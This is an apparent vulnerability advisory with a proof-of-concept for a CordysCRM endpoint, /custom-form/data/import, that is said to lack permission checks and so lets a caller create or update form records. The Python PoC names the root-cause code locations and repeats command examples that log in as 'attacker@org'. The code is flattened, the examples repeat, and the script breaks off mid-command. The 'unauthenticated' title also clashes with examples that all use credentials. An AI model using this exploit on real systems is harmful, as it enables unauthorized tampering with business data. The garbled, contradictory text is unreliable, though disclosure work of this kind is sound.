CordysCRM Unauthenticated Data Import via /custom-form/data/import (POC)

Vulnerability Overview This vulnerability involves the endpoint in the CordysCRM system, allowing unauthenticated users to execute data import operations by crafting specific requests. Attackers can exploit this vulnerability to bypass permission checks, enabling unauthorized manipulation of target form data. Scope of Impact Affected Systems: CordysCRM instances, particularly those with improperly configured permission management. Impact Severity: Attackers can import, update, or delete data in target forms, potentially leading to data leakage or data tampering. Remediation 1. Permission Verification: Ensure that the endpoint performs strict permission verification before processing requests. Only users with appropriate permissions should be allowed to perform data import operations. 2. Input Validation: Strictly validate the content of imported files to prevent the upload of malicious files. 3. Log Monitoring: Enhance logging for data import operations to facilitate the timely detection and response to anomalous behavior. POC Code ```python #!/usr/bin/env python3 -- coding: utf-8 -- ONLY: A CordysCRM instance you own or are explicitly authorized in testing (self-hosted / dedicated test organization). Root cause (see C16_custom_form_data_import_missing_check.md): /crm/form/controller/CustomFormDataTableController.java:147-153 -> no @PrePermission /crm/form/service/CustomFormDataService.java:568-601 -> ADD branch: no getManagedDataScope/ checkCreatePermission /crm/form/service/CustomFormDataService.java:603-632 -> UPDATE branch: id from A (id) only, and it REMITTES custom_form_id / organization_id from the request /crm/form/mapper/ExtCustomFormDataMapper.xml:320-351 -> UPDATE ... WHERE id = A(id) only, and it REMITTES custom_form_id / organization_id from the request The import is state-changing and is therefore only sent with --apply. Requires a valid Excel file for the target form; obtain the empty template with poc_custom_form_template_download.py (C15). Exit codes: 0 = CONFIRMED, 1 = NOT CONFIRMED, 2 = setup error. from __future__ import annotations import argparse import json import os import sys from common import (FORBIDDEN_CODE, SUCCESS_CODE, SetupError, build_branch, client_from_args, envelope_code, envelope_message, finish, run, show) POC_ID = "C16" def parse_args() -> argparse.Namespace: parser = build_parser( f"C16 CordysCRM -- POST /custom-form/data/import without a form role.", extra=""" examples:\\n A00: create a record in the form caller has no CustomFormRole on\\n python poc_custom_form_data_import.py --base-url https://[crm.lab]/ \\ --username attacker@org --password 'L0b@se!A\\^\\^' \\ --custom-form-id --import-type A00 --excel filled_template.xlsx\\n A01: update a record in the form caller has no CustomFormRole on\\n python poc_custom_form_data_import.py --base-url https://[crm.lab]/ \\ --username attacker@org --password 'L0b@se!A\\^\\^' \\ --custom-form-id --import-type A01 --excel filled_template.xlsx\\n A02: update a record in the form caller has no CustomFormRole on\\n python poc_custom_form_data_import.py --base-url https://[crm.lab]/ \\ --username attacker@org --password 'L0b@se!A\\^\\^' \\ --custom-form-id --import-type A02 --excel filled_template.xlsx\\n A03: update a record in the form caller has no CustomFormRole on\\n python poc_custom_form_data_import.py --base-url https://[crm.lab]/ \\ --username attacker@org --password 'L0b@se!A\\^\\^' \\ --custom-form-id --import-type A03 --excel filled_template.xlsx\\n A04: update a record in the form caller has no CustomFormRole on\\n python poc_custom_form_data_import.py --base-url https://[crm.lab]/ \\ --username attacker@org --password 'L0b@se!A\\^\\^' \\ --custom-form-id --import-type A04 --excel filled_template.xlsx\\n A05: update a record in the form caller has no CustomFormRole on\\n python poc_custom_form_data_import.py --base-url https://[crm.lab]/ \\ --username attacker@org --password 'L0b@se!A\\^\\^' \\ --custom-form-id --import-type A05 --excel filled_template.xlsx\\n A06: update a record in the form caller has no CustomFormRole on\\n python poc_custom_form_data_import.py --base-url https://[crm.lab]/ \\ --username attacker@org --password 'L0b@se!A\\^\\^' \\ --custom-form-id --import-type A06 --excel filled_template.xlsx\\n A07: update a record in the form caller has no CustomFormRole on\\n python poc_custom_form_data_import.py --base-url https://[crm.lab]/ \\ --username attacker@org --password 'L0b@se!A\\^\\^' \\ --custom-form-id --import-type A07 --excel filled_template.xlsx\\n A08: update a record in the form caller has no CustomFormRole on\\n python poc_custom_form_data_import.py --base-url https://[crm.lab]/ \\ --username attacker@org --password 'L0b@se!A\\^\\^' \\ --custom-form-id --import-type A08 --excel filled_template.xlsx\\n A09: update a record in the form caller has no CustomFormRole on\\n python poc_custom_form_data_import.py --base-url https://[crm.lab]/ \\ --username attacker@org --password 'L0b@se!A\\^\\^' \\

Goal Reached Thanks to every supporter — we hit 100%!

CordysCRM Unauthenticated Data Import via /custom-form/data/import (POC)

More from this source